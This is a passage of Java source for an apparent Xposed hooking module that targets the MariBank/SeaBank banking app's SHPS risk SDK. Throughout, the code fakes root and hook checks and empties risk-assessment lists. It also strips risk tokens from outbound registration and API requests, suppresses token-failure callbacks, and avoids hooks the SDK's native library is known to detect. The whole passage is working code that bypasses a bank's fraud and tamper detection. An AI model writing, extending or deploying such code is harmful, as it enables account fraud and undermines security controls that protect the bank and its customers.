|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(false);
|
||||
}
|
||||
});
|
||||
count++;
|
||||
}
|
||||
if (count > 0) {
|
||||
XposedBridge.log(TAG + " hooked SHPS boolean checks in " + className);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip SHPS " + className + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
/**
|
||||
* SHPSSDK 风控 token:清空本地 risk 列表,避免 Root/Hook 标记写入 token 上报服务端。
|
||||
* 逆向:getRiskSync / getRiskAsync / assessRisk → List<SPSAssessRisk>,RISK_ROOT=1, RISK_HOOK=4 ...
|
||||
*/
|
||||
private static void hookShpsToken(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
final String contextClass = "android.content.Context";
|
||||
for (String className : MariBankRegionProfile.shpsSdkClasses(lpparam.packageName)) {
|
||||
hookEmptyRiskList(lpparam, className, "getRiskSync", contextClass);
|
||||
hookEmptyRiskList(lpparam, className, "getExtRiskSync", contextClass);
|
||||
hookRiskAsyncCallback(lpparam, className, "getRiskAsync", contextClass,
|
||||
className.contains("bank")
|
||||
? "com.shopee.shpssdkbank.SPSResultCallback"
|
||||
: "com.shopee.shpssdk.SPSResultCallback");
|
||||
hookRiskAsyncCallback(lpparam, className, "getExtRiskAsync", contextClass,
|
||||
className.contains("bank")
|
||||
? "com.shopee.shpssdkbank.SPSExtResultCallback"
|
||||
: "com.shopee.shpssdk.SPSExtResultCallback");
|
||||
hookRiskTokenAsync(lpparam, className, contextClass);
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className,
|
||||
lpparam.classLoader,
|
||||
"getRiskToken",
|
||||
contextClass,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object token = param.getResult();
|
||||
if (token instanceof String) {
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeRiskToken((String) token);
|
||||
param.setResult(sanitized);
|
||||
XposedBridge.log(TAG + " getRiskToken len="
|
||||
+ sanitized.length() + " tail="
|
||||
+ MariBankRiskTokenUtil.tail(sanitized));
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip " + className + ".getRiskToken: " + t.getMessage());
|
||||
}
|
||||
hookTokenStringMethod(lpparam, className, "getLongToken");
|
||||
hookTokenStringMethod(lpparam, className, "getShortToken");
|
||||
hookShpsSecData(lpparam, className, contextClass);
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className,
|
||||
lpparam.classLoader,
|
||||
"getSoftToken",
|
||||
String.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object token = param.getResult();
|
||||
if (token instanceof String) {
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeRiskToken((String) token);
|
||||
param.setResult(sanitized);
|
||||
logTokenResult("getSoftToken", sanitized);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip " + className + ".getSoftToken: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"com.shopee.shpssdkbank.SHPSSDK",
|
||||
lpparam.classLoader,
|
||||
"assessRisk",
|
||||
int.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(new ArrayList<>());
|
||||
XposedBridge.log(TAG + " assessRisk -> empty");
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
for (String className : MariBankRegionProfile.shpsAssessRiskClasses(lpparam.packageName)) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className,
|
||||
lpparam.classLoader,
|
||||
"getType",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(0);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
for (String className : MariBankRegionProfile.shpsCallbackAdapterClasses(lpparam.packageName)) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className,
|
||||
lpparam.classLoader,
|
||||
"onGetRiskTokenFail",
|
||||
int.class,
|
||||
String.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
XposedBridge.log(TAG + " suppressed onGetRiskTokenFail: " + param.args[1]);
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
hookShpsTokenCore(lpparam);
|
||||
}
|
||||
|
||||
/**
|
||||
* classes11 真实 token 生成链(早于 SHPSSDK 门面):
|
||||
* getRiskToken → vvuuuuvvv.wwvuwuwvu(Context)
|
||||
* getRiskSync → vvuuuuvvv.uuuuuuwvw(Context)
|
||||
*/
|
||||
private static void hookShpsTokenCore(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
final String coreClass = "com.shopee.shpssdkbank.uwuvuvvww.vvuuuuvvv";
|
||||
final String contextClass = "android.content.Context";
|
||||
int hooked = 0;
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
coreClass,
|
||||
lpparam.classLoader,
|
||||
"wwvuwuwvu",
|
||||
contextClass,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object token = param.getResult();
|
||||
if (token instanceof String) {
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeRiskToken((String) token);
|
||||
param.setResult(sanitized);
|
||||
XposedBridge.log(TAG + " core.wwvuwuwvu len="
|
||||
+ sanitized.length() + " tail="
|
||||
+ MariBankRiskTokenUtil.tail(sanitized));
|
||||
}
|
||||
}
|
||||
});
|
||||
hooked++;
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip core.wwvuwuwvu: " + t.getMessage());
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
coreClass,
|
||||
lpparam.classLoader,
|
||||
"uuuuuuwvw",
|
||||
contextClass,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(new ArrayList<>());
|
||||
XposedBridge.log(TAG + " core.uuuuuuwvw -> empty");
|
||||
}
|
||||
});
|
||||
hooked++;
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip core.uuuuuuwvw: " + t.getMessage());
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
coreClass,
|
||||
lpparam.classLoader,
|
||||
"wwwuvwwuu",
|
||||
contextClass,
|
||||
String.class,
|
||||
boolean.class,
|
||||
boolean.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object result = param.getResult();
|
||||
if (result instanceof String) {
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeAllInText((String) result);
|
||||
param.setResult(sanitized);
|
||||
XposedBridge.log(TAG + " core.wwwuvwwuu len=" + sanitized.length());
|
||||
}
|
||||
}
|
||||
});
|
||||
hooked++;
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip core.wwwuvwwuu: " + t.getMessage());
|
||||
}
|
||||
|
||||
if (hooked > 0) {
|
||||
XposedBridge.log(TAG + " shps token core hooks=" + hooked);
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookEmptyRiskList(
|
||||
XC_LoadPackage.LoadPackageParam lpparam,
|
||||
String className,
|
||||
String methodName,
|
||||
String contextClassName) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className,
|
||||
lpparam.classLoader,
|
||||
methodName,
|
||||
contextClassName,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(new ArrayList<>());
|
||||
XposedBridge.log(TAG + " " + methodName + " -> empty");
|
||||
}
|
||||
});
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip " + className + "." + methodName + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookRiskAsyncCallback(
|
||||
XC_LoadPackage.LoadPackageParam lpparam,
|
||||
String sdkClass,
|
||||
String methodName,
|
||||
String contextClassName,
|
||||
String callbackClassName) {
|
||||
try {
|
||||
Class<?> callbackClass = XposedHelpers.findClass(callbackClassName, lpparam.classLoader);
|
||||
XposedHelpers.findAndHookMethod(sdkClass, lpparam.classLoader, methodName,
|
||||
contextClassName, callbackClass, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Object original = param.args[1];
|
||||
if (original == null) {
|
||||
return;
|
||||
}
|
||||
param.args[1] = wrapRiskCallback(lpparam.classLoader, callbackClass, original);
|
||||
}
|
||||
});
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip async " + sdkClass + "." + methodName + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static Object wrapRiskCallback(
|
||||
ClassLoader loader,
|
||||
Class<?> callbackClass,
|
||||
Object original) {
|
||||
return Proxy.newProxyInstance(loader, new Class[]{callbackClass}, new InvocationHandler() {
|
||||
@Override
|
||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||
if ("result".equals(method.getName()) && args != null && args.length > 0
|
||||
&& args[0] instanceof List) {
|
||||
List<?> list = (List<?>) args[0];
|
||||
XposedBridge.log(TAG + " async risk callback cleared size=" + list.size());
|
||||
args[0] = new ArrayList<>();
|
||||
}
|
||||
return method.invoke(original, args);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private static void hookRiskTokenAsync(
|
||||
XC_LoadPackage.LoadPackageParam lpparam,
|
||||
String sdkClass,
|
||||
String contextClassName) {
|
||||
String callbackClassName = sdkClass.contains("bank")
|
||||
? "com.shopee.shpssdkbank.SPSRiskTokenCallback"
|
||||
: "com.shopee.shpssdk.SPSRiskTokenCallback";
|
||||
try {
|
||||
Class<?> callbackClass = XposedHelpers.findClass(callbackClassName, lpparam.classLoader);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
sdkClass,
|
||||
lpparam.classLoader,
|
||||
"getRiskTokenAsync",
|
||||
contextClassName,
|
||||
callbackClass,
|
||||
int.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Object original = param.args[1];
|
||||
if (original == null) {
|
||||
return;
|
||||
}
|
||||
param.args[1] = wrapRiskTokenCallback(
|
||||
lpparam.classLoader, callbackClass, original);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip " + sdkClass + ".getRiskTokenAsync: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static Object wrapRiskTokenCallback(
|
||||
ClassLoader loader,
|
||||
Class<?> callbackClass,
|
||||
Object original) {
|
||||
return Proxy.newProxyInstance(loader, new Class[]{callbackClass}, new InvocationHandler() {
|
||||
@Override
|
||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||
if ("onResult".equals(method.getName()) && args != null && args.length > 0) {
|
||||
if (args[0] instanceof String) {
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeRiskToken((String) args[0]);
|
||||
XposedBridge.log(TAG + " getRiskTokenAsync onResult len="
|
||||
+ sanitized.length() + " tail="
|
||||
+ MariBankRiskTokenUtil.tail(sanitized));
|
||||
args[0] = sanitized;
|
||||
}
|
||||
}
|
||||
return method.invoke(original, args);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private static void hookShpsSecData(
|
||||
XC_LoadPackage.LoadPackageParam lpparam,
|
||||
String className,
|
||||
String contextClass) {
|
||||
String[][] methods = {
|
||||
{"getSHPSECData", contextClass, "java.lang.String", "boolean"},
|
||||
{"getSHPSECAllData", contextClass, "java.lang.String", "boolean"},
|
||||
};
|
||||
for (String[] sig : methods) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className,
|
||||
lpparam.classLoader,
|
||||
sig[0],
|
||||
sig[1],
|
||||
sig[2],
|
||||
"boolean",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (param.getResult() instanceof String) {
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeAllInText(
|
||||
(String) param.getResult());
|
||||
param.setResult(sanitized);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookTokenStringMethod(
|
||||
XC_LoadPackage.LoadPackageParam lpparam,
|
||||
String className,
|
||||
String methodName) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className,
|
||||
lpparam.classLoader,
|
||||
methodName,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object token = param.getResult();
|
||||
if (token instanceof String) {
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeRiskToken((String) token);
|
||||
param.setResult(sanitized);
|
||||
logTokenResult(methodName, sanitized);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip " + className + "." + methodName + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void logTokenResult(String methodName, Object token) {
|
||||
if (token instanceof String) {
|
||||
String s = MariBankRiskTokenUtil.sanitizeRiskToken((String) token);
|
||||
XposedBridge.log(TAG + " " + methodName + " len=" + s.length()
|
||||
+ " tail=" + MariBankRiskTokenUtil.tail(s));
|
||||
}
|
||||
}
|
||||
|
||||
/** 记录注册 API 响应,净化 riskToken JSON,定位 4067004 来源 URL。 */
|
||||
private static void hookNetworkLogging(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
// 勿 Hook RealInterceptorChain.proceed — libshpssdk.so 字符串硬编码检测该 Hook。
|
||||
hookRequestBuilderBuild(lpparam);
|
||||
hookRequestBuilderBody(lpparam);
|
||||
hookOkHttpNewCall(lpparam);
|
||||
hookRealCallExecute(lpparam);
|
||||
hookGsonFromJson(lpparam);
|
||||
hookRequestBodyWriteTo(lpparam);
|
||||
hookOkHttpResponseUrl(lpparam);
|
||||
hookOkioBufferWrite(lpparam);
|
||||
hookOutgoingRequestBody(lpparam);
|
||||
hookOutgoingRequestBytes(lpparam);
|
||||
hookJsonRiskTokenPut(lpparam);
|
||||
hookGsonRiskToken(lpparam);
|
||||
hookRetrofitGsonConverter(lpparam);
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"okhttp3.ResponseBody",
|
||||
lpparam.classLoader,
|
||||
"string",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
String body = (String) param.getResult();
|
||||
if (body == null) {
|
||||
return;
|
||||
}
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeAllInText(body);
|
||||
if (!sanitized.equals(body)) {
|
||||
param.setResult(sanitized);
|
||||
body = sanitized;
|
||||
}
|
||||
String lower = body.toLowerCase();
|
||||
String url = CURRENT_REQUEST_URL.get();
|
||||
boolean maribankApi = url != null
|
||||
&& (url.contains("maribank.com") || url.contains("seabank.ph"));
|
||||
boolean interesting = lower.contains("blocked")
|
||||
|| body.contains(String.valueOf(ERROR_CODE_SECURITY_BLOCKED))
|
||||
|| body.contains(String.valueOf(ERROR_CODE_SECURITY_BLOCKED_ALT))
|
||||
|| lower.contains("risktoken")
|
||||
|| lower.contains("\"code\"")
|
||||
|| (maribankApi && (lower.contains("register")
|
||||
|| lower.contains("error") || lower.contains("unavailable")));
|
||||
if (interesting) {
|
||||
String snippet = body.length() > 600
|
||||
? body.substring(0, 600) + "..." : body;
|
||||
XposedBridge.log(TAG + " HTTP"
|
||||
+ (url != null ? " " + url : "")
|
||||
+ " body: " + snippet);
|
||||
}
|
||||
CURRENT_REQUEST_URL.remove();
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip okhttp ResponseBody.string: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** 出站 Request 构建时记录 URL,并在 post/put 阶段净化 body。 */
|
||||
private static void hookRequestBuilderBuild(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"okhttp3.Request$Builder",
|
||||
lpparam.classLoader,
|
||||
"build",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
try {
|
||||
Object url = XposedHelpers.callMethod(param.getResult(), "url");
|
||||
if (url != null) {
|
||||
String urlStr = String.valueOf(url);
|
||||
CURRENT_REQUEST_URL.set(urlStr);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip Request.Builder.build: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** 在 RequestBody 挂到 Request 时净化(比抽象 writeTo Hook 更可靠)。 */
|
||||
private static void hookRequestBuilderBody(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook bodyHook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
for (int i = 0; i < param.args.length; i++) {
|
||||
Object arg = param.args[i];
|
||||
if (arg == null || !isRequestBody(lpparam.classLoader, arg)) {
|
||||
continue;
|
||||
}
|
||||
Object sanitized = sanitizeRequestBody(lpparam.classLoader, arg);
|
||||
if (sanitized != arg) {
|
||||
param.args[i] = sanitized;
|
||||
XposedBridge.log(TAG + " Request.Builder body riskToken sanitized");
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
String[][] sigs = {
|
||||
{"post", "okhttp3.RequestBody"},
|
||||
{"put", "okhttp3.RequestBody"},
|
||||
{"patch", "okhttp3.RequestBody"},
|
||||
};
|
||||
for (String[] sig : sigs) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"okhttp3.Request$Builder",
|
||||
lpparam.classLoader,
|
||||
sig[0],
|
||||
sig[1],
|
||||
bodyHook);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"okhttp3.Request$Builder",
|
||||
lpparam.classLoader,
|
||||
"method",
|
||||
"java.lang.String",
|
||||
"okhttp3.RequestBody",
|
||||
bodyHook);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookOkHttpNewCall(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook callHook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
try {
|
||||
Object sanitized = sanitizeOkHttpRequest(lpparam.classLoader, param.args[0]);
|
||||
if (sanitized != param.args[0]) {
|
||||
param.args[0] = sanitized;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
};
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"okhttp3.OkHttpClient",
|
||||
lpparam.classLoader,
|
||||
"newCall",
|
||||
"okhttp3.Request",
|
||||
callHook);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip OkHttpClient.newCall: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** Retrofit 异步/同步最终走 RealCall.execute/enqueue。 */
|
||||
private static void hookRealCallExecute(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook execHook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
try {
|
||||
Object request = XposedHelpers.getObjectField(param.thisObject, "originalRequest");
|
||||
if (request == null) {
|
||||
return;
|
||||
}
|
||||
Object sanitized = sanitizeOkHttpRequest(lpparam.classLoader, request);
|
||||
if (sanitized != request) {
|
||||
XposedHelpers.setObjectField(param.thisObject, "originalRequest", sanitized);
|
||||
}
|
||||
try {
|
||||
Object req = XposedHelpers.getObjectField(param.thisObject, "originalRequest");
|
||||
if (req != null) {
|
||||
Object url = XposedHelpers.callMethod(req, "url");
|
||||
if (url != null) {
|
||||
String urlStr = String.valueOf(url);
|
||||
if (urlStr.contains("maribank.com") || urlStr.contains("seabank.ph")
|
||||
|| urlStr.contains("/register")) {
|
||||
XposedBridge.log(TAG + " outbound " + urlStr);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
};
|
||||
for (String className : new String[]{"okhttp3.RealCall", "okhttp3.internal.connection.RealCall"}) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(className, lpparam.classLoader, "execute", execHook);
|
||||
XposedHelpers.findAndHookMethod(className, lpparam.classLoader, "enqueue",
|
||||
"okhttp3.Callback", execHook);
|
||||
XposedBridge.log(TAG + " hooked " + className);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static Object sanitizeOkHttpRequest(ClassLoader loader, Object request) {
|
||||
try {
|
||||
Object url = XposedHelpers.callMethod(request, "url");
|
||||
if (url == null) {
|
||||
return request;
|
||||
}
|
||||
String urlStr = String.valueOf(url);
|
||||
CURRENT_REQUEST_URL.set(urlStr);
|
||||
|
||||
Object body = XposedHelpers.callMethod(request, "body");
|
||||
if (body == null) {
|
||||
if (urlStr.contains("/register")) {
|
||||
XposedBridge.log(TAG + " register request has null body");
|
||||
}
|
||||
return request;
|
||||
}
|
||||
String content = readRequestBodyText(loader, body);
|
||||
if (content.isEmpty()) {
|
||||
if (urlStr.contains("/register")) {
|
||||
XposedBridge.log(TAG + " register request body unreadable (encrypted or one-shot)");
|
||||
}
|
||||
return request;
|
||||
}
|
||||
if (urlStr.contains("/register")) {
|
||||
int show = Math.min(content.length(), 500);
|
||||
XposedBridge.log(TAG + " outbound register body: "
|
||||
+ content.substring(0, show)
|
||||
+ (content.length() > show ? "..." : ""));
|
||||
}
|
||||
Object sanitizedBody = sanitizeRequestBody(loader, body);
|
||||
if (sanitizedBody == body) {
|
||||
return request;
|
||||
}
|
||||
String method = (String) XposedHelpers.callMethod(request, "method");
|
||||
Object builder = XposedHelpers.callMethod(request, "newBuilder");
|
||||
XposedHelpers.callMethod(builder, "method", method, sanitizedBody);
|
||||
Object newRequest = XposedHelpers.callMethod(builder, "build");
|
||||
XposedBridge.log(TAG + " sanitized outbound body for " + urlStr);
|
||||
return newRequest;
|
||||
} catch (Throwable t) {
|
||||
return request;
|
||||
}
|
||||
}
|
||||
|
||||
/** dfp 响应若走 Gson.fromJson(String) 而非 ResponseBody.string,需净化入参。 */
|
||||
private static void hookGsonFromJson(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook fromJsonHook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (!(param.args[0] instanceof String)) {
|
||||
return;
|
||||
}
|
||||
String json = (String) param.args[0];
|
||||
if (!json.contains("riskToken") && !json.contains("deviceToken")) {
|
||||
return;
|
||||
}
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeAllInText(json);
|
||||
if (!sanitized.equals(json)) {
|
||||
param.args[0] = sanitized;
|
||||
XposedBridge.log(TAG + " Gson.fromJson riskToken sanitized");
|
||||
}
|
||||
}
|
||||
};
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"com.google.gson.Gson",
|
||||
lpparam.classLoader,
|
||||
"fromJson",
|
||||
String.class,
|
||||
Class.class,
|
||||
fromJsonHook);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"com.google.gson.Gson",
|
||||
lpparam.classLoader,
|
||||
"fromJson",
|
||||
String.class,
|
||||
"java.lang.reflect.Type",
|
||||
fromJsonHook);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isRequestBody(ClassLoader loader, Object obj) {
|
||||
try {
|
||||
Class<?> rb = XposedHelpers.findClass("okhttp3.RequestBody", loader);
|
||||
return rb.isInstance(obj);
|
||||
} catch (Throwable t) {
|
||||
return obj.getClass().getName().contains("RequestBody");
|
||||
}
|
||||
}
|
||||
|
||||
private static Object sanitizeRequestBody(ClassLoader loader, Object body) {
|
||||
try {
|
||||
ClassLoader effective = loaderFor(body, loader);
|
||||
String content = readRequestBodyText(effective, body);
|
||||
if (content.isEmpty()) {
|
||||
return body;
|
||||
}
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeAllInText(content);
|
||||
if (sanitized.equals(content)) {
|
||||
return body;
|
||||
}
|
||||
Object mediaType = XposedHelpers.callMethod(body, "contentType");
|
||||
Class<?> rbClass = findClassSafe(effective, "okhttp3.RequestBody");
|
||||
return XposedHelpers.callStaticMethod(rbClass, "create", mediaType, sanitized);
|
||||
} catch (Throwable t) {
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
private static String readRequestBodyText(ClassLoader loader, Object body) {
|
||||
try {
|
||||
ClassLoader effective = loaderFor(body, loader);
|
||||
Class<?> bufferClass = findClassSafe(effective, "okio.Buffer");
|
||||
Object buffer = XposedHelpers.newInstance(bufferClass);
|
||||
XposedHelpers.callMethod(body, "writeTo", buffer);
|
||||
return (String) XposedHelpers.callMethod(buffer, "readUtf8");
|
||||
} catch (Throwable t) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private static ClassLoader loaderFor(Object obj, ClassLoader fallback) {
|
||||
if (obj != null) {
|
||||
ClassLoader cl = obj.getClass().getClassLoader();
|
||||
if (cl != null) {
|
||||
return cl;
|
||||
}
|
||||
}
|
||||
return fallback;
|
||||
}
|
||||
|
||||
private static Class<?> findClassSafe(ClassLoader loader, String name) {
|
||||
try {
|
||||
return XposedHelpers.findClass(name, loader);
|
||||
} catch (Throwable first) {
|
||||
ClassLoader ctx = Thread.currentThread().getContextClassLoader();
|
||||
if (ctx != null && ctx != loader) {
|
||||
return XposedHelpers.findClass(name, ctx);
|
||||
}
|
||||
throw first;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 拦截 RequestBody 写入:注册 JSON 只写一次,create/Buffer Hook 可能漏掉。
|
||||
* 读出 body → 净化 riskToken → 写入 sink,跳过原方法。
|
||||
*/
|
||||
private static void hookRequestBodyWriteTo(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
Class<?> rbClass = findClassSafe(lpparam.classLoader, "okhttp3.RequestBody");
|
||||
Class<?> sinkClass = findClassSafe(lpparam.classLoader, "okio.BufferedSink");
|
||||
XposedHelpers.findAndHookMethod(
|
||||
rbClass,
|
||||
"writeTo",
|
||||
sinkClass,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
|
||||
ClassLoader cl = loaderFor(param.thisObject, lpparam.classLoader);
|
||||
Class<?> bufferClass = findClassSafe(cl, "okio.Buffer");
|
||||
Object buffer = XposedHelpers.newInstance(bufferClass);
|
||||
XposedBridge.invokeOriginalMethod(
|
||||
param.method, param.thisObject, new Object[]{buffer});
|
||||
String content = (String) XposedHelpers.callMethod(buffer, "readUtf8");
|
||||
String url = CURRENT_REQUEST_URL.get();
|
||||
if (!content.isEmpty() && url != null && MariBankCaptureUtil.isBankUrl(url)) {
|
||||
MariBankCaptureUtil.logText("reqBody wire " + url, content);
|
||||
}
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeAllInText(content);
|
||||
if (url != null && url.contains("/register") && !content.isEmpty()) {
|
||||
int show = Math.min(content.length(), 400);
|
||||
XposedBridge.log(TAG + " register body(raw): "
|
||||
+ content.substring(0, show)
|
||||
+ (content.length() > show ? "..." : ""));
|
||||
}
|
||||
if (!sanitized.equals(content)) {
|
||||
XposedBridge.log(TAG + " RequestBody.writeTo riskToken sanitized");
|
||||
}
|
||||
XposedHelpers.callMethod(param.args[0], "writeUtf8", sanitized);
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip RequestBody.writeTo: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookRetrofitGsonConverter(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"retrofit2.converter.gson.GsonRequestBodyConverter",
|
||||
lpparam.classLoader,
|
||||
"convert",
|
||||
Object.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object body = param.getResult();
|
||||
if (body == null) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
ClassLoader cl = loaderFor(body, lpparam.classLoader);
|
||||
Object buffer = XposedHelpers.newInstance(
|
||||
